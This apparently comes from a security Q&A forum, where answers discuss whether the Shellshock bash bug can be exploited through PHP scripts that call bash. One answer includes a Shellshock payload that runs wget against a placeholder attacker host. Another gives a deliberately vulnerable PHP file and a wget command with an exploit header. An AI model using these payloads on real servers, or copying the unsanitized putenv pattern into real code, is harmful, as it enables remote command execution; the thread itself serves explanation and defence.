Shellshock attack scenario exploiting php

Question

I've seen attack scenarios involving using wget on cgi-scripts, but how about a scenario exploiting a web server php script that issues an exec() or system() call to a bash script?

As far as I can tell, environment variables like HTTP_USER_AGENT don't get passed to exec'ed shell scripts, at least by default.

Answer 1

PHP can only be exploited in the shellshock-case by using it in PHP-CGI mode due to the nature how CGI works. For PHP functions like system() and exec() it is not possible to influence the environment variables unless you set them yourself in PHP. That would then be in your example something like system("HTTP_SERVER=evil.example.org /path/to/script");

Answer 2

If PHP is deployed using mod_php then this scenario is basically safe. As you say, PHP does not put untrusted data into environment variables the way CGI does.

If PHP is deployed using CGI (which is a rare config) then it is vulnerable if the script makes any call to bash. It appears PHP system() uses /bin/sh - on Redhat distributions this tends to be bash, although not on Debian.

If a script sets an environment variable using untrusted data then it becomes vulnerable. I expect that is a rare case, but it's annoying because it stops you saying with certainty that "PHP is safe".

Answer 3

I'm doubtful it can be exploited for php the same way as it is exploited in CGI.

If you compare the output of:

$ cat ./testing3.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
set

To the output of:

$ cat ./testing.php 
<?php

system('set');

?>

The environment variables read into bash are very different. Particularly, no HTTP_USER_AGENT, or similar user-provided input to the environment.

That said, it's a very ugly bug and I think there can be many unexpected ways to exploit it. I just don't think the method used for CGI invocation of bash would be the same as any possible angle for php invocation of bash.

Answer 4

From my testing it does seem possible to exploit via PHP using mod_php if certain conditions are present.

1. /bin/sh would by symlinked to /bin/bash.
2. The PHP app would set an Environment variable from a user-controlled HTTP variable using putenv().
3. Somewhere in the PHP script, there is a subsequent call to a command exec function that will then load that env variable (exec(), passthru(), system(), popen(), etc) since its running in a bash shell instance. This system call/command exec function does not need to be related at all to the setting of the environment variable, as long as it happens afterwards.

For example, here is generalized form of some code I saw earlier today that sets a LANGUAGE environment variable based on an unsanitized GET parameter. The popen call I added to the bottom would be the trigger.

function getLang() { if (isset($_GET["lang"]) && !empty($_GET["lang"])) { $lang = $_GET["lang"]; } return $lang; } $language = getLang(); putenv("LANGUAGE=$language"); /** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r"); /** or $result = exec("ls"); or $result = passthru("ls"); etc **/

In this case the application sets an environment variable using a user-controlled GET parameter so a value for lang such as (){:;}; /usr/bin/wget http://yourip:yourport should attempt a wget to a server/port of your choosing. I've seen similar code that sets ENV variables based on cookie values as well $language=$=COOKIE["lang"]so tampering with that header value could also trigger the vuln.

Obviously it's really bad practice to set any variable based on untrusted user data. In this case, its the call to popen (which runs in Bash thanks to the symlink) that will ultimately execute the payload. I tested this in a Debian environment after setting the symlink and the payload executed successfully. In line with what hspaans said, you're not able to influence the setting of arbitrary environment variables with calls to system() or exec(), so the success of exploiting something like this is completely dependent upon the design of the application and the environment in which it runs.

Here's some more info about non-CGI PHP vulnerability: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html

Answer 5

This simple PHP file offers a shellshock security hole:

shock.php

<?php

# in some configurations (CGI) your webserver does the following for you:
foreach ($_ENV as $k => $v) putenv("$k=$v");

# execute something with bash
echo shell_exec("bash -c 'echo hello from bash!'");

To execute the attack

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

The output

Hacked

hello from bash!